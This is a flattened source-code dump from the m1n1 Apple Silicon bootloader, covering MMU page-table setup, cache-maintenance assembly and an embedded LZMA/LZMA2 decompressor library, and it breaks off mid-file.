l2d = l2[l2idx]; if (L2_IS_TABLE(l2d)) return (u64 *)(l2d & PTE_TARGET_MASK); u64 *l3 = (u64 *)memalign(PAGE_SIZE, ENTRIES_PER_L3_TABLE * sizeof(u64)); if (IS_PTE(l2d)) { u64 l3d = l2d; l3d &= ~PTE_TYPE; l3d |= FIELD_PREP(PTE_TYPE, PTE_PAGE); for (u64 idx = 0; idx < ENTRIES_PER_L3_TABLE; idx++, l3d += BIT(VADDR_L3_OFFSET_BITS)) l3[idx] = l3d; } else { memset64(l3, 0, ENTRIES_PER_L3_TABLE * sizeof(u64)); } l2d = ((u64)l3) | FIELD_PREP(PTE_TYPE, PTE_TABLE) | PTE_VALID; l2[l2idx] = l2d; return l3; } static void mmu_pt_map_l3(u64 from, u64 to, u64 size) { assert((from & MASK(VADDR_L3_OFFSET_BITS)) == 0); assert((to & PTE_TARGET_MASK & MASK(VADDR_L3_OFFSET_BITS)) == 0); assert((size & MASK(VADDR_L3_OFFSET_BITS)) == 0); to |= FIELD_PREP(PTE_TYPE, PTE_PAGE); for (; size; size -= BIT(VADDR_L3_OFFSET_BITS)) { u64 idx = (from >> VADDR_L3_OFFSET_BITS) & MASK(VADDR_L3_INDEX_BITS); u64 *l3 = mmu_pt_get_l3(from); l3[idx] = to; from += BIT(VADDR_L3_OFFSET_BITS); to += BIT(VADDR_L3_OFFSET_BITS); } } int mmu_map(u64 from, u64 to, u64 size) { u64 chunk; if (from & MASK(VADDR_L3_OFFSET_BITS) || size & MASK(VADDR_L3_OFFSET_BITS)) return -1; // L3 mappings to boundary u64 boundary = ALIGN_UP(from, MASK(VADDR_L2_OFFSET_BITS)); // CPU CTRR doesn't like L2 mappings crossing CTRR boundaries! // Map everything below the m1n1 base as L3 if (boundary >= ram_base && boundary < (u64)_base) boundary = ALIGN_UP((u64)_base, MASK(VADDR_L2_OFFSET_BITS)); chunk = min(size, boundary - from); if (chunk) { mmu_pt_map_l3(from, to, chunk); from += chunk; to += chunk; size -= chunk; } // L2 mappings chunk = ALIGN_DOWN(size, MASK(VADDR_L2_OFFSET_BITS)); if (chunk && (to & VADDR_L2_ALIGN_MASK) == 0) { mmu_pt_map_l2(from, to, chunk); from += chunk; to += chunk; size -= chunk; } // L3 mappings to end if (size) { mmu_pt_map_l3(from, to, size); } return 0; } static u64 mmu_make_table_pte(u64 *addr) { u64 pte = FIELD_PREP(PTE_TYPE, PTE_TABLE) | PTE_VALID; pte |= (uintptr_t)addr; pte |= PTE_ACCESS; return pte; } static void mmu_init_pagetables(void) { mmu_pt_L0 = memalign(PAGE_SIZE, sizeof(u64) * 2); mmu_pt_L1 = memalign(PAGE_SIZE, sizeof(u64) * ENTRIES_PER_L1_TABLE); memset64(mmu_pt_L0, 0, sizeof(u64) * 2); memset64(mmu_pt_L1, 0, sizeof(u64) * ENTRIES_PER_L1_TABLE); mmu_pt_L0[0] = mmu_make_table_pte(&mmu_pt_L1[0]); mmu_pt_L0[1] = mmu_make_table_pte(&mmu_pt_L1[ENTRIES_PER_L1_TABLE >> 1]); } void mmu_add_mapping(u64 from, u64 to, size_t size, u8 attribute_index, u64 perms) { if (mmu_map(from, to | PTE_MAIR_IDX(attribute_index) | PTE_ACCESS | PTE_VALID | PTE_SH_OS | perms, size) < 0) panic("Failed to add MMU mapping 0x%lx -> 0x%lx (0x%lx)\n", from, to, size); sysop("dsb ishst"); sysop("tlbi vmalle1is"); sysop("dsb ish"); sysop("isb"); } void mmu_rm_mapping(u64 from, size_t size) { if (mmu_map(from, 0, size) < 0) panic("Failed to rm MMU mapping at 0x%lx (0x%lx)\n", from, size); } static void mmu_map_mmio(void) { int node = adt_path_offset(adt, "/arm-io"); if (node < 0) { printf("MMU: ARM-IO node not found!\n"); return; } u32 ranges_len; const u32 *ranges = adt_getprop(adt, node, "ranges", &ranges_len); if (!ranges) { printf("MMU: Failed to get ranges property!\n"); return; } // Assume all cell counts are 2 (64bit) int range_cnt = ranges_len / 24; while (range_cnt--) { u64 bus = ranges[2] | ((u64)ranges[3] << 32); u64 size = ranges[4] | ((u64)ranges[5] << 32); mmu_add_mapping(bus, bus, size, MAIR_IDX_DEVICE_nGnRnE, PERM_RW_EL0); ranges += 6; } } static void mmu_remap_ranges(void) { int node = adt_path_offset(adt, "/defaults"); if (node < 0) { printf("MMU: defaults node not found!\n"); return; } u32 ranges_len; const u32 *ranges = adt_getprop(adt, node, "pmap-io-ranges", &ranges_len); if (!ranges) { printf("MMU: Failed to get pmap-io-ranges property!\n"); return; } int range_cnt = ranges_len / 24; while (range_cnt--) { u64 addr = ranges[0] | ((u64)ranges[1] << 32); u64 size = ranges[2] | ((u64)ranges[3] << 32); u32 flags = ranges[4]; // TODO: is this the right logic? if ((flags >> 28) == 8) { printf("MMU: Adding Device-nGnRE mapping at 0x%lx (0x%lx)\n", addr, size); mmu_add_mapping(addr, addr, size, MAIR_IDX_DEVICE_nGnRE, PERM_RW_EL0); } else if (flags == 0x60004016) { printf("MMU: Adding Normal-NC mapping at 0x%lx (0x%lx)\n", addr, size); mmu_add_mapping(addr, addr, size, MAIR_IDX_NORMAL_NC, PERM_RW_EL0); } ranges += 6; } } void mmu_map_framebuffer(u64 addr, size_t size) { printf("MMU: Adding Normal-NC mapping at 0x%lx (0x%zx) for framebuffer\n", addr, size); dc_civac_range((void *)addr, size); mmu_add_mapping(addr, addr, size, MAIR_IDX_NORMAL_NC, PERM_RW_EL0); } static void mmu_add_default_mappings(void) { ram_base = ALIGN_DOWN(cur_boot_args.phys_base, BIT(32)); uint64_t ram_size = cur_boot_args.mem_size + cur_boot_args.phys_base - ram_base; ram_size = ALIGN_DOWN(ram_size, 0x4000); printf("MMU: RAM base: 0x%lx\n", ram_base); printf("MMU: Top of normal RAM: 0x%lx\n", ram_base + ram_size); mmu_map_mmio(); /* * Create identity mapping for RAM from 0x08_0000_0000 * With SPRR enabled, this becomes RW. * This range includes all real RAM, including carveouts */ mmu_add_mapping(ram_base, ram_base, cur_boot_args.mem_size_actual, MAIR_IDX_NORMAL, PERM_RWX); /* Unmap carveout regions */ mcc_unmap_carveouts(); /* * Remap m1n1 executable code as RX. */ mmu_add_mapping((u64)_base, (u64)_base, (u64)_rodata_end - (u64)_base, MAIR_IDX_NORMAL, PERM_RX_EL0); /* * Make guard page at the end of the main stack */ mmu_rm_mapping((u64)_stack_top, PAGE_SIZE); /* * Create mapping for RAM from 0x88_0000_0000, * read/writable/exec by EL0 (but not executable by EL1) * With SPRR enabled, this becomes RX_EL0. */ mmu_add_mapping(ram_base | REGION_RWX_EL0, ram_base, ram_size, MAIR_IDX_NORMAL, PERM_RWX_EL0); /* * Create mapping for RAM from 0x98_0000_0000, * read/writable by EL0 (but not executable by EL1) * With SPRR enabled, this becomes RW_EL0. */ mmu_add_mapping(ram_base | REGION_RW_EL0, ram_base, ram_size, MAIR_IDX_NORMAL, PERM_RW_EL0); /* * Create mapping for RAM from 0xa8_0000_0000, * read/executable by EL1 * This allows executing from dynamic regions in EL1 */ mmu_add_mapping(ram_base | REGION_RX_EL1, ram_base, ram_size, MAIR_IDX_NORMAL, PERM_RX_EL0); /* * Create four separate full mappings of MMIO space, with different access types */ mmu_add_mapping(0xc000000000, 0x0000000000, 0x0800000000, MAIR_IDX_DEVICE_GRE, PERM_RW_EL0); mmu_add_mapping(0xd000000000, 0x0000000000, 0x0800000000, MAIR_IDX_DEVICE_nGRE, PERM_RW_EL0); mmu_add_mapping(0xe000000000, 0x0000000000, 0x0800000000, MAIR_IDX_DEVICE_nGnRnE, PERM_RW_EL0); mmu_add_mapping(0xf000000000, 0x0000000000, 0x0800000000, MAIR_IDX_DEVICE_nGnRE, PERM_RW_EL0); /* * Handle pmap-ranges */ mmu_remap_ranges(); } static void mmu_configure(void) { msr(MAIR_EL1, (MAIR_ATTR_NORMAL_DEFAULT << MAIR_SHIFT_NORMAL) | (MAIR_ATTR_DEVICE_nGnRnE << MAIR_SHIFT_DEVICE_nGnRnE) | (MAIR_ATTR_DEVICE_nGnRE << MAIR_SHIFT_DEVICE_nGnRE) | (MAIR_ATTR_NORMAL_NC << MAIR_SHIFT_NORMAL_NC)); msr(TCR_EL1, FIELD_PREP(TCR_IPS, TCR_IPS_4TB) | FIELD_PREP(TCR_TG1, TCR_TG1_16K) | FIELD_PREP(TCR_SH1, TCR_SH1_IS) | FIELD_PREP(TCR_ORGN1, TCR_ORGN1_WBWA) | FIELD_PREP(TCR_IRGN1, TCR_IRGN1_WBWA) | FIELD_PREP(TCR_T1SZ, TCR_T1SZ_48BIT) | FIELD_PREP(TCR_TG0, TCR_TG0_16K) | FIELD_PREP(TCR_SH0, TCR_SH0_IS) | FIELD_PREP(TCR_ORGN0, TCR_ORGN0_WBWA) | FIELD_PREP(TCR_IRGN0, TCR_IRGN0_WBWA) | FIELD_PREP(TCR_T0SZ, TCR_T0SZ_48BIT)); msr(TTBR0_EL1, (uintptr_t)mmu_pt_L0); msr(TTBR1_EL1, (uintptr_t)mmu_pt_L0); // Armv8-A Address Translation, 100940_0101_en, page 28 sysop("dsb ishst"); sysop("tlbi vmalle1is"); sysop("dsb ish"); sysop("isb"); } static void mmu_init_sprr(void) { msr_sync(SYS_IMP_APL_SPRR_CONFIG_EL1, 1); msr_sync(SYS_IMP_APL_SPRR_PERM_EL0, SPRR_DEFAULT_PERM_EL0); msr_sync(SYS_IMP_APL_SPRR_PERM_EL1, SPRR_DEFAULT_PERM_EL1); msr_sync(SYS_IMP_APL_SPRR_CONFIG_EL1, 0); } void mmu_init(void) { printf("MMU: Initializing...\n"); if (read_sctlr() & SCTLR_M) { printf("MMU: already initialized.\n"); return; } mmu_init_pagetables(); mmu_add_default_mappings(); mmu_configure(); mmu_init_sprr(); // Enable EL0 memory access by EL1 msr(PAN, 0); // RES1 bits u64 sctlr = SCTLR_LSMAOE | SCTLR_nTLSMD | SCTLR_TSCXT | SCTLR_ITD; // Configure translation sctlr |= SCTLR_I | SCTLR_C | SCTLR_M | SCTLR_SPAN; printf("MMU: SCTLR_EL1: %lx -> %lx\n", mrs(SCTLR_EL1), sctlr); write_sctlr(sctlr); printf("MMU: running with MMU and caches enabled!\n"); } static void mmu_secondary_setup(void) { mmu_configure(); mmu_init_sprr(); // Enable EL0 memory access by EL1 msr(PAN, 0); // RES1 bits u64 sctlr = SCTLR_LSMAOE | SCTLR_nTLSMD | SCTLR_TSCXT | SCTLR_ITD; // Configure translation sctlr |= SCTLR_I | SCTLR_C | SCTLR_M | SCTLR_SPAN; write_sctlr(sctlr); } void mmu_init_secondary(int cpu) { smp_call4(cpu, mmu_secondary_setup, 0, 0, 0, 0); smp_wait(cpu); } void mmu_shutdown(void) { fb_console_reserve_lines(3); printf("MMU: shutting down...\n"); write_sctlr(read_sctlr() & ~(SCTLR_I | SCTLR_C | SCTLR_M)); printf("MMU: shutdown successful, clearing caches\n"); dcsw_op_all(DCSW_OP_DCCISW); } u64 mmu_disable(void) { u64 sctlr_old = read_sctlr(); if (!(sctlr_old & SCTLR_M)) return sctlr_old; write_sctlr(sctlr_old & ~(SCTLR_I | SCTLR_C | SCTLR_M)); dcsw_op_all(DCSW_OP_DCCISW); return sctlr_old; } void mmu_restore(u64 state) { write_sctlr(state); } m1n1-1.4.11/src/memory.h000066400000000000000000000047721453754430200146430ustar00rootroot00000000000000/* SPDX-License-Identifier: MIT */ #ifndef MEMORY_H #define MEMORY_H #include "cpu_regs.h" #include "types.h" #define REGION_RWX_EL0 0x80000000000 #define REGION_RW_EL0 0xa0000000000 #define REGION_RX_EL1 0xc0000000000 /* * https://armv8-ref.codingbelief.com/en/chapter_d4/d43_2_armv8_translation_table_level_3_descriptor_formats.html * PTE_TYPE:PTE_BLOCK indicates that the page table entry (PTE) points to a physical memory block * PTE_TYPE:PTE_TABLE indicates that the PTE points to another PTE * PTE_TYPE:PTE_PAGE indicates that the PTE points to a single page * PTE_FLAG_ACCESS is required to allow access to the memory region * PTE_MAIR_IDX sets the MAIR index to be used for this PTE */ #define PTE_VALID BIT(0) #define PTE_TYPE BIT(1) #define PTE_BLOCK 0 #define PTE_TABLE 1 #define PTE_PAGE 1 #define PTE_ACCESS BIT(10) #define PTE_MAIR_IDX(i) ((i & 7) << 2) #define PTE_PXN BIT(53) #define PTE_UXN BIT(54) #define PTE_AP_RO BIT(7) #define PTE_AP_EL0 BIT(6) #define PTE_SH_NS (0b00 << 8) #define PTE_SH_OS (0b10 << 8) #define PTE_SH_IS (0b11 << 8) #define PERM_RO_EL0 PTE_AP_EL0 | PTE_AP_RO | PTE_PXN | PTE_UXN #define PERM_RW_EL0 PTE_AP_EL0 | PTE_PXN | PTE_UXN #define PERM_RX_EL0 PTE_AP_EL0 | PTE_AP_RO #define PERM_RWX_EL0 PTE_AP_EL0 #define PERM_RO PTE_AP_RO | PTE_PXN | PTE_UXN #define PERM_RW PTE_PXN | PTE_UXN #define PERM_RX PTE_AP_RO | PTE_UXN #define PERM_RWX 0 #define MAIR_IDX_NORMAL 0 #define MAIR_IDX_NORMAL_NC 1 #define MAIR_IDX_DEVICE_nGnRnE 2 #define MAIR_IDX_DEVICE_nGnRE 3 #define MAIR_IDX_DEVICE_nGRE 4 #define MAIR_IDX_DEVICE_GRE 5 #ifndef __ASSEMBLER__ #include "utils.h" extern uint64_t ram_base; void ic_ivau_range(void *addr, size_t length); void dc_ivac_range(void *addr, size_t length); void dc_zva_range(void *addr, size_t length); void dc_cvac_range(void *addr, size_t length); void dc_cvau_range(void *addr, size_t length); void dc_civac_range(void *addr, size_t length); #define DCSW_OP_DCISW 0x0 #define DCSW_OP_DCCISW 0x1 #define DCSW_OP_DCCSW 0x2 void dcsw_op_all(u64 op_type); void mmu_init(void); void mmu_init_secondary(int cpu); void mmu_shutdown(void); void mmu_add_mapping(u64 from, u64 to, size_t size, u8 attribute_index, u64 perms); void mmu_rm_mapping(u64 from, size_t size); void mmu_map_framebuffer(u64 addr, size_t size); u64 mmu_disable(void); void mmu_restore(u64 state); static inline bool mmu_active(void) { return mrs(SCTLR_EL1) & SCTLR_M; } #endif #endif m1n1-1.4.11/src/memory_asm.S000066400000000000000000000110441453754430200154440ustar00rootroot00000000000000/* * Copyright (c) 2013-2020, ARM Limited and Contributors. All rights reserved. * * SPDX-License-Identifier: BSD-3-Clause */ #define LOC_SHIFT 24 #define CLIDR_FIELD_WIDTH 3 #define LEVEL_SHIFT 1 .macro func, name .globl \name .type \name, @function \name: .endm .globl dcsw_op_all /* * This macro can be used for implementing various data cache operations `op` */ .macro do_dcache_maintenance_by_mva op /* Exit early if size is zero */ cbz x1, exit_loop_\op dcache_line_size x2, x3 add x1, x0, x1 sub x3, x2, #1 bic x0, x0, x3 loop_\op: dc \op, x0 add x0, x0, x2 cmp x0, x1 b.lo loop_\op dsb sy exit_loop_\op: ret .endm /* --------------------------------------------------------------- * Data cache operations by set/way to the level specified * * The main function, do_dcsw_op requires: * x0: The operation type (0-2), as defined in arch.h * x3: The last cache level to operate on * x9: clidr_el1 * x10: The cache level to begin operation from * and will carry out the operation on each data cache from level 0 * to the level in x3 in sequence * * The dcsw_op macro sets up the x3 and x9 parameters based on * clidr_el1 cache information before invoking the main function * --------------------------------------------------------------- */ .macro dcsw_op shift, fw, ls mrs x9, clidr_el1 ubfx x3, x9, \shift, \fw lsl x3, x3, \ls mov x10, xzr b do_dcsw_op .endm func do_dcsw_op cbz x3, exit adr x14, dcsw_loop_table // compute inner loop address add x14, x14, x0, lsl #5 // inner loop is 8x32-bit instructions mov x0, x9 mov w8, #1 loop1: add x2, x10, x10, lsr #1 // work out 3x current cache level lsr x1, x0, x2 // extract cache type bits from clidr and x1, x1, #7 // mask the bits for current cache only cmp x1, #2 // see what cache we have at this level b.lo level_done // nothing to do if no cache or icache msr csselr_el1, x10 // select current cache level in csselr isb // isb to sych the new cssr&csidr mrs x1, ccsidr_el1 // read the new ccsidr and x2, x1, #7 // extract the length of the cache lines add x2, x2, #4 // add 4 (line length offset) ubfx x4, x1, #3, #10 // maximum way number clz w5, w4 // bit position of way size increment lsl w9, w4, w5 // w9 = aligned max way number lsl w16, w8, w5 // w16 = way number loop decrement orr w9, w10, w9 // w9 = combine way and cache number ubfx w6, w1, #13, #15 // w6 = max set number lsl w17, w8, w2 // w17 = set number loop decrement dsb sy // barrier before we start this level br x14 // jump to DC operation specific loop .macro dcsw_loop _op loop2_\_op: lsl w7, w6, w2 // w7 = aligned max set number loop3_\_op: orr w11, w9, w7 // combine cache, way and set number dc \_op, x11 subs w7, w7, w17 // decrement set number b.hs loop3_\_op subs x9, x9, x16 // decrement way number b.hs loop2_\_op b level_done .endm level_done: add x10, x10, #2 // increment cache number cmp x3, x10 b.hi loop1 msr csselr_el1, xzr // select cache level 0 in csselr dsb sy // barrier to complete final cache operation isb exit: ret dcsw_loop_table: dcsw_loop isw dcsw_loop cisw dcsw_loop csw func dcsw_op_all dcsw_op #LOC_SHIFT, #CLIDR_FIELD_WIDTH, #LEVEL_SHIFT /* --------------------------------------------------------------- * Helper macro for data cache operations by set/way for the * level specified * --------------------------------------------------------------- */ .macro dcsw_op_level level mrs x9, clidr_el1 mov x3, \level sub x10, x3, #2 b do_dcsw_op .endm /* --------------------------------------------------------------- * Data cache operations by set/way for level 1 cache * * The main function, do_dcsw_op requires: * x0: The operation type (0-2), as defined in arch.h * --------------------------------------------------------------- */ func dcsw_op_level1 dcsw_op_level #(1 << LEVEL_SHIFT) /* --------------------------------------------------------------- * Data cache operations by set/way for level 2 cache * * The main function, do_dcsw_op requires: * x0: The operation type (0-2), as defined in arch.h * --------------------------------------------------------------- */ func dcsw_op_level2 dcsw_op_level #(2 << LEVEL_SHIFT) /* --------------------------------------------------------------- * Data cache operations by set/way for level 3 cache * * The main function, do_dcsw_op requires: * x0: The operation type (0-2), as defined in arch.h * --------------------------------------------------------------- */ func dcsw_op_level3 dcsw_op_level #(3 << LEVEL_SHIFT) m1n1-1.4.11/src/minilzlib/000077500000000000000000000000001453754430200151415ustar00rootroot00000000000000m1n1-1.4.11/src/minilzlib/dictbuf.c000066400000000000000000000066161453754430200167360ustar00rootroot00000000000000/*++ Copyright (c) Alex Ionescu. All rights reserved. Module Name: dictbuf.c Abstract: This module implements the management of the LZMA "history buffer" which is often called the "dictionary". Routines for writing into the history buffer as well as for reading back from it are implemented, as well as mechanisms for repeating previous symbols forward into the dictionary. This forms the basis for LZMA match distance-length pairs that are found and decompressed. Note that for simplicity's sake, the dictionary is stored directly in the output buffer, such that no "flushing" or copying is needed back and forth. Author: Alex Ionescu (@aionescu) 15-Apr-2020 - Initial version Environment: Windows & Linux, user mode and kernel mode. --*/ #include "minlzlib.h" // // State used for the history buffer (dictionary) // typedef struct _DICTIONARY_STATE { // // Buffer, start position, current position, and offset limit in the buffer // uint8_t* Buffer; uint32_t BufferSize; uint32_t Start; uint32_t Offset; uint32_t Limit; } DICTIONARY_STATE, *PDICTIONARY_STATE; DICTIONARY_STATE Dictionary; void DtInitialize ( uint8_t* HistoryBuffer, uint32_t Size ) { // // Initialize the buffer and reset the position // Dictionary.Buffer = HistoryBuffer; Dictionary.Offset = 0; Dictionary.BufferSize = Size; } bool DtSetLimit ( uint32_t Limit ) { // // Make sure that the passed in dictionary limit fits within the size, and // then set this as the new limit. Save the starting point (current offset) // if ((Dictionary.Offset + Limit) > Dictionary.BufferSize) { return false; } Dictionary.Limit = Dictionary.Offset + Limit; Dictionary.Start = Dictionary.Offset; return true; } bool DtIsComplete ( uint32_t* BytesProcessed ) { // // Return bytes processed and if the dictionary has been fully written to // *BytesProcessed = Dictionary.Offset - Dictionary.Start; return (Dictionary.Offset == Dictionary.Limit); } bool DtCanWrite ( uint32_t* Position ) { // // Return our position and make sure it's not beyond the uncompressed size // *Position = Dictionary.Offset; return (Dictionary.Offset < Dictionary.Limit); } uint8_t DtGetSymbol ( uint32_t Distance ) { // // If the dictionary is still empty, just return 0, otherwise, return the // symbol that is Distance bytes backward. // if (Distance > Dictionary.Offset) { return 0; } return Dictionary.Buffer[Dictionary.Offset - Distance]; } void DtPutSymbol ( uint8_t Symbol ) { // // Write the symbol and advance our position // Dictionary.Buffer[Dictionary.Offset++] = Symbol; } bool DtRepeatSymbol ( uint32_t Length, uint32_t Distance ) { // // Make sure we never get asked to write past the end of the dictionary. We // should also not allow the distance to go beyond the current offset since // DtGetSymbol will return 0 thinking the dictionary is empty. // if (((Length + Dictionary.Offset) > Dictionary.Limit) || (Distance > Dictionary.Offset)) { return false; } // // Now rewrite the stream of past symbols forward into the dictionary. // do { DtPutSymbol(DtGetSymbol(Distance)); } while (--Length > 0); return true; } m1n1-1.4.11/src/minilzlib/inputbuf.c000066400000000000000000000047051453754430200171470ustar00rootroot00000000000000/*++ Copyright (c) Alex Ionescu. All rights reserved. Module Name: inputbuf.c Abstract: This module implements helper functions for managing the input buffer that contains arithmetic-coded LZ77 match distance-length pairs and raw literals Both seeking (such that an external reader can refer to multiple bytes) and reading (capturing) an individual byte are supported. Support for aligning input data to 4 bytes (which is a requirement for XZ-encoded files) is also implemented. Author: Alex Ionescu (@aionescu) 15-Apr-2020 - Initial version Environment: Windows & Linux, user mode and kernel mode. --*/ #include "minlzlib.h" // // Input Buffer State // typedef struct _BUFFER_STATE { // // Start of the buffer, current offset, current packet end, and total input size // uint8_t* Buffer; uint32_t Offset; uint32_t SoftLimit; uint32_t Size; } BUFFER_STATE, * PBUFFER_STATE; BUFFER_STATE In; bool BfAlign ( void ) { uint8_t padByte; // // Keep reading until we reach 32-bit alignment. All bytes must be zero. // while (In.Offset & 3) { if (!BfRead(&padByte) || (padByte != 0)) { return false; } } return true; } bool BfSetSoftLimit ( uint32_t Remaining ) { if ((In.Size - In.Offset) < Remaining) { return false; } In.SoftLimit = In.Offset + Remaining; return true; } void BfResetSoftLimit ( void ) { In.SoftLimit = In.Size; } bool BfSeek ( uint32_t Length, uint8_t** Bytes ) { // // Make sure the input buffer has enough space to seek the desired size, if // it does, return the current position and then seek past the desired size // if ((In.Offset + Length) > In.SoftLimit) { *Bytes = 0; return false; } *Bytes = &In.Buffer[In.Offset]; In.Offset += Length; return true; } uint32_t BfTell ( void ) { return In.Offset; } bool BfRead ( uint8_t* Byte ) { uint8_t* pByte; // // Seek past the byte and read it // if (!BfSeek(sizeof(*Byte), &pByte)) { *Byte = 0; return false; } *Byte = *pByte; return true; } void BfInitialize ( uint8_t* InputBuffer, uint32_t InputSize ) { // // Save all the data in the context buffer state // In.Buffer = InputBuffer; In.Size = InputSize; In.SoftLimit = InputSize; In.Offset = 0; } m1n1-1.4.11/src/minilzlib/lzma2dec.c000066400000000000000000000140221453754430200170050ustar00rootroot00000000000000/*++ Copyright (c) Alex Ionescu. All rights reserved. Module Name: lzma2dec.c Abstract: This module implements the LZMA2 decoding logic responsible for parsing the LZMA2 Control Byte, the Information Bytes (Compressed & Uncompressed Stream Size), and the Property Byte during the initial Dictionary Reset. Note that this module only implements support for a single such reset (i.e.: archives in "solid" mode). Author: Alex Ionescu (@aionescu) 15-Apr-2020 - Initial version Environment: Windows & Linux, user mode and kernel mode. --*/ #include "minlzlib.h" #include "lzma2dec.h" bool Lz2DecodeChunk ( uint32_t* BytesProcessed, uint32_t RawSize, uint16_t CompressedSize ) { uint32_t bytesProcessed; // // Go and decode this chunk, sequence by sequence // if (!LzDecode()) { return false; } // // In a correctly formatted stream, the last arithmetic-coded sequence must // be zero once we finished with the last chunk. Make sure the stream ended // exactly where we expected it to. // if (!RcIsComplete(&bytesProcessed) || (bytesProcessed != CompressedSize)) { return false; } // // The entire output stream must have been written to, and the dictionary // must be full now. // if (!DtIsComplete(&bytesProcessed) || (bytesProcessed != RawSize)) { return false; } *BytesProcessed += bytesProcessed; return true; } bool Lz2DecodeStream ( uint32_t* BytesProcessed, bool GetSizeOnly ) { uint8_t* inBytes; LZMA2_CONTROL_BYTE controlByte; uint8_t propertyByte; uint32_t rawSize; uint16_t compressedSize; // // Read the first control byte // *BytesProcessed = 0; while (BfRead(&controlByte.Value)) { // // When the LZMA2 control byte is 0, the entire stream is decoded. This // is the only success path out of this function. // if (controlByte.Value == 0) { return true; } // // Read the appropriate number of info bytes based on the stream type. // if (!BfSeek((controlByte.u.Common.IsLzma == 1 ) ? 4 : 2, &inBytes)) { break; } // // For LZMA streams calculate both the uncompressed and compressed size // from the info bytes. Uncompressed streams only have the former. // if (controlByte.u.Common.IsLzma == 1) { rawSize = controlByte.u.Lzma.RawSize << 16; compressedSize = inBytes[2] << 8; compressedSize += inBytes[3] + 1; } else { rawSize = 0; compressedSize = 0; } // // Make sure that the output buffer that was supplied is big enough to // fit the uncompressed chunk, unless we're just calculating the size. // rawSize += inBytes[0] << 8; rawSize += inBytes[1] + 1; if (!GetSizeOnly && !DtSetLimit(rawSize)) { break; } // // Check if the full LZMA state needs to be reset, which must happen at // the start of stream. Also check for a property reset, which occurs // when an LZMA stream follows an uncompressed stream. Separately, // check for a state reset without a property byte (happens rarely, // but does happen in a few compressed streams). // if ((controlByte.u.Lzma.ResetState == Lzma2FullReset) || (controlByte.u.Lzma.ResetState == Lzma2PropertyReset)) { // // Read the LZMA properties and then initialize the decoder. // if (!BfRead(&propertyByte) || !LzInitialize(propertyByte)) { break; } } else if (controlByte.u.Lzma.ResetState == Lzma2SimpleReset) { LzResetState(); } // // else controlByte.u.Lzma.ResetState == Lzma2NoReset, since a two-bit // field only has four possible values // // // Don't do any decompression if the caller only wants to know the size // if (GetSizeOnly) { *BytesProcessed += rawSize; BfSeek((controlByte.u.Common.IsLzma == 1) ? compressedSize : rawSize, &inBytes); continue; } else if (controlByte.u.Common.IsLzma == 0) { // // Seek to the requested size in the input buffer // if (!BfSeek(rawSize, &inBytes)) { return false; } // // Copy the data into the dictionary as-is // for (uint32_t i = 0; i < rawSize; i++) { DtPutSymbol(inBytes[i]); } // // Update bytes and keep going to the next chunk // *BytesProcessed += rawSize; continue; } // // Record how many bytes are left in this sequence as our SoftLimit for // the other operations. This allows us to omit most range checking // logic in rangedec.c. This soft limit lasts until reset below. // if (!BfSetSoftLimit(compressedSize)) { break; } // // Read the initial range and code bytes to initialize the arithmetic // coding decoder, and let it know how much input data exists. We've // already validated that this much space exists in the input buffer. // if (!RcInitialize(&compressedSize)) { break; } // // Start decoding the LZMA sequences in this chunk // if (!Lz2DecodeChunk(BytesProcessed, rawSize, compressedSize)) { break; } // // Having decoded that chunk, reset our soft limit (to the full // input stream) so we can read the next chunk. // BfResetSoftLimit(); } return false; } m1n1-1.4.11/src/minilzlib/lzma2dec.h000066400000000000000000000055051453754430200170200ustar00rootroot00000000000000/*++ Copyright (c) Alex Ionescu. All rights reserved. Module Name: lzma2dec.h Abstract: This header file contains C-style data structures and enumerations that map back to the LZMA2 standard. This includes the encoding of the LZMA2 Control Byte and the possible LZMA2 Reset States. Author: Alex Ionescu (@aionescu) 15-Apr-2020 - Initial version Environment: Windows & Linux, user mode and kernel mode. --*/ #pragma once // // The most complex LZMA sequence possible is a "match" sequence where the // the length is > 127 bytes, and the distance is > 127 bytes. This type of // sequence starts with {1,1} for "match", followed by {1,1,nnnnnnnn} for // "8-bit encoded length", followed by {1,1,1,1,1,1} to select the distance // slot (63). That's 18 bits so far, which all come from arithmetic-coded // bit trees with various probabilities. The next 26 bits are going to be // fixed-probability, meaning that the bit tree is mathematically hardcoded // at 50%. Finally, there are the last 4 "align" distance bits which also // come from an arithmetic-coded bit tree, bringing the total such bits to // 22. // // Each time we have to "normalize" the arithmetic coder, it consumes an // additional byte. Normalization is done whenever we consume more than 8 // of the high bits of the coder's range (i.e.: below 2^24), so exactly // every 8 direct bits (which always halve the range due to their 50%). // The other bits can have arbitrary probabilities, but in the worst case // we need to normalize the range every n bits. As such, this is a total of // 20 worst-case normalization per LZMA sequence. Finally, we do one last // normalization at the end of LzDecode, to make sure that the decoder is // always in a normalized state. This means that a compressed chunk should // be at least 21 bytes if we want to guarantee that LzDecode can never // read past the current input stream, and avoid range checking. // #define LZMA_MAX_SEQUENCE_SIZE 21 // // This describes the different ways an LZMA2 control byte can request a reset // typedef enum _LZMA2_COMPRESSED_RESET_STATE { Lzma2NoReset = 0, Lzma2SimpleReset = 1, Lzma2PropertyReset = 2, Lzma2FullReset = 3 } LZMA2_COMPRESSED_RESET_STATE; // // This describes how an LZMA2 control byte can be parsed // typedef union _LZMA2_CONTROL_BYTE { union { struct { uint8_t ResetState : 2; uint8_t Reserved : 5; uint8_t IsLzma : 1; } Raw; struct { uint8_t RawSize : 5; uint8_t ResetState : 2; uint8_t IsLzma : 1; } Lzma; struct { uint8_t : 7; uint8_t IsLzma : 1; } Common; } u; uint8_t Value; } LZMA2_CONTROL_BYTE; static_assert(sizeof(LZMA2_CONTROL_BYTE) == 1, "Invalid control byte size"); m1n1-1.4.11/src/minilzlib/lzmadec.c000066400000000000000000000456161453754430200167400ustar00rootroot00000000000000/*++ Copyright (c) Alex Ionescu. All rights reserved. Module Name: lzmadec.c Abstract: This module implements the LZMA Decoding Logic responsible for decoding the three possible types of LZMA "packets": matches, repetitions (short \& long) and literals. The probability model for each type of packet is also stored in this file, along with the management of the previously seen packet types (which is tracked as the "sequence"). Author: Alex Ionescu (@aionescu) 15-Apr-2020 - Initial version Environment: Windows & Linux, user mode and kernel mode. --*/ #include "minlzlib.h" #include "lzmadec.h" // // Probability Bit Model for lengths in Rep and in Match sequences // typedef struct _LENGTH_DECODER_STATE { // // Bit Model for the choosing the type of length encoding // uint16_t Choice; uint16_t Choice2; // // Bit Model for each of the length encodings // uint16_t Low[LZMA_POSITION_COUNT][LZMA_MAX_LOW_LENGTH]; uint16_t Mid[LZMA_POSITION_COUNT][LZMA_MAX_MID_LENGTH]; uint16_t High[LZMA_MAX_HIGH_LENGTH]; } 